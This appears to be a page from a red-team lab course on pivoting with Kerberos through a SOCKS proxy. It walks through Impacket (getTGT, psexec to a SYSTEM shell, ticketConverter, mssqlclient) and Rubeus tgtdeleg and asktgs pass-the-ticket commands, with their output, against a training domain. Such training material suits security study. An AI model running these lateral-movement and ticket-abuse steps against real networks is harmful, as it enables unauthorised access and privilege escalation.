Pivoting with Kerberos

In the previous examples, we leveraged both plaintext credentials (with Impacket & runas /netonly) and NTLM (with Mimikatz) to authenticate to resources over the SOCKS proxy. However, it is possible to use Kerberos tickets as well. Using Impacket through proxychains is a popular way to do this.

First, let's use getTGT.py to request a TGT for jking with their AES256 hash.

ubuntu@DESKTOP-3BSK7NO ~> proxychains getTGT.py -dc-ip 10.10.122.10 -aesKey 4a8a74daad837ae09e9ecc8c2f1b89f960188cb934db6d4bbebade8318ae57c6 dev.cyberbotic.io/jking
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.10:88-<><>-OK
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.10:88-<><>-OK
[*] Saving ticket in jking.ccache

Note that you should use the fully qualified domain name, dev.cyberbotic.io rather than the NetBIOS name, DEV.

This will automatically output the ticket in ccache format which can be used with other Impacket scripts. However, we must first create an environment variable called KRB5CCNAME that will point to the ccache file.

ubuntu@DESKTOP-3BSK7NO ~> export KRB5CCNAME=jking.ccache

Now we can use psexec.py to get a SYSTEM shell on WEB.

ubuntu@DESKTOP-3BSK7NO ~> proxychains psexec.py -dc-ip 10.10.122.10 -target-ip 10.10.122.30 -no-pass -k dev.cyberbotic.io/jking@web.dev.cyberbotic.io
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.30:445-<><>-OK
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.10:88-<><>-OK
[*] Requesting shares on 10.10.122.30.....
[*] Found writable share ADMIN$
[*] Uploading file rzBHyscR.exe
[*] Opening SVCManager on 10.10.122.30.....
[*] Creating service msin on 10.10.122.30.....
[*] Starting service msin.....
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.30:445-<><>-OK
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.10:88-<><>-OK
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.30:445-<><>-OK
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.10:88-<><>-OK
[!] Press help for extra shell commands
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.30:445-<><>-OK
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.10:88-<><>-OK
Microsoft Windows [Version 10.0.20348.887]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> hostname && whoami
web
nt authority\system

C:\Windows\system32> exit
[*] Process cmd.exe finished with ErrorCode: 0, ReturnCode: 0
[*] Opening SVCManager on 10.10.122.30.....
[*] Stopping service msin.....
[*] Removing service msin.....
[*] Removing file rzBHyscR.exe.....

If you have a ticket in kirbi format obtained with another tool, it can be converted to ccache format for use with Impacket. For example, here I'm using the TGT delegation trick to get a usable TGT for bfarmer from a non-elevated session.

beacon> getuid
[*] You are DEV\bfarmer

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe tgtdeleg /nowrap

[*] Action: Request Fake Delegation TGT (current user)
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/dc-2.dev.cyberbotic.io'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: QPQjXYnE0c8tkwjNuTFxaNArevF+TosSgYJ/kQcrShw=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

doIFzj[...snip...]MuSU8=

Base64 decode the ticket and write it to bfarmer.kirbi.

ubuntu@DESKTOP-3BSK7NO ~> echo -en 'doIFzj[...snip...]MuSU8=' | base64 -d > bfarmer.kirbi

Then convert it using ticketConverter.py.

ubuntu@DESKTOP-3BSK7NO ~> ticketConverter.py bfarmer.kirbi bfarmer.ccache
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] converting kirbi to ccache...
[+] done

This tool can also convert from ccache to kirbi.

Now let's use this TGT to interact with the SQL-2 service.

ubuntu@DESKTOP-3BSK7NO ~> proxychains mssqlclient.py -dc-ip 10.10.122.10 -no-pass -k dev.cyberbotic.io/bfarmer@sql-2.dev.cyberbotic.io
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.25:1433-<><>-OK
[*] Encryption required, switching to TLS
|S-chain|-<>-10.10.5.50:1080-<><>-10.10.122.10:88-<><>-OK
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL-2): Line 1: Changed database context to 'master'.
[*] INFO(SQL-2): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands

SQL> select @@servername;

--------------------------------------------------------------------------------------------------------------------------------

SQL-2

This may require adding a static host entry to /etc/hosts and changing the proxy_dns setting in /etc/proxychains.conf to remote_dns.

Kerberos tickets can also be leveraged from the Windows attacker machine. The first step is to add *.cyberbotic.io your Proxifier proxification rule(s). This is because Kerberos uses hostnames rather than IP addresses and Proxifier won't proxy Kerberos traffic unless the domains are explicitly set in the rules.

Next, launch an instance of cmd.exe or powershell.exe using runas /netonly with a valid domain username, but a fake password.

PS C:\Users\Attacker> runas /netonly /user:dev.cyberbotic.io\bfarmer powershell.exe
Enter the password for dev.cyberbotic.io\bfarmer: FakePass
Attempting to start powershell.exe as user "dev.cyberbotic.io\bfarmer" ...

The spawned process will have no Kerberos tickets in its cache.

PS C:\Windows\system32> klist

Current LogonId is 0:0x260072

Cached Tickets: (0)

This method of pivoting prefers the presence of the correct service ticket(s) up front, rather than relying on a single TGT in the cache. If we want to access the SQL-2 service through HeidiSQL then we need a service ticket for the MSSQLSvc service. Let's use the TGT of bfarmer to do that (yes, requesting tickets through the proxy works as well).

PS C:\Windows\system32> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /ticket:doIFzj[...snip...]MuSU8= /service:MSSQLSvc/sql-2.dev.cyberbotic.io:1433 /dc:dc-2.dev.cyberbotic.io /ptt

[*] Action: Ask TGS
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'MSSQLSvc/sql-2.dev.cyberbotic.io:1433'
[*] Using domain controller: dc-2.dev.cyberbotic.io (127.95.0.2)
[+] TGS request successful!
[+] Ticket successfully imported!

PS C:\Windows\system32> klist

Current LogonId is 0:0x260072

Cached Tickets: (1)

#0>     Client: bfarmer @ DEV.CYBERBOTIC.IO
        Server: MSSQLSvc/sql-2.dev.cyberbotic.io:1433 @ DEV.CYBERBOTIC.IO
        KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
        Ticket Flags 0x60a10000 -> forwardable forwarded renewable pre_authent name_canonicalize
        Start Time: 10/11/2023 14:23:52 (local)
        End Time:   10/11/2023 19:22:58 (local)
        Renew Time: 10/18/2023 9:22:58 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: 0
        Kdc Called:

Launch HeidiSQL from the same powershell window.

PS C:\Windows\system32> C:\Tools\HeidiSQL\heidisql.exe

Set the target hostname to sql-2.dev.cyberbotic.io and connect.

Last updated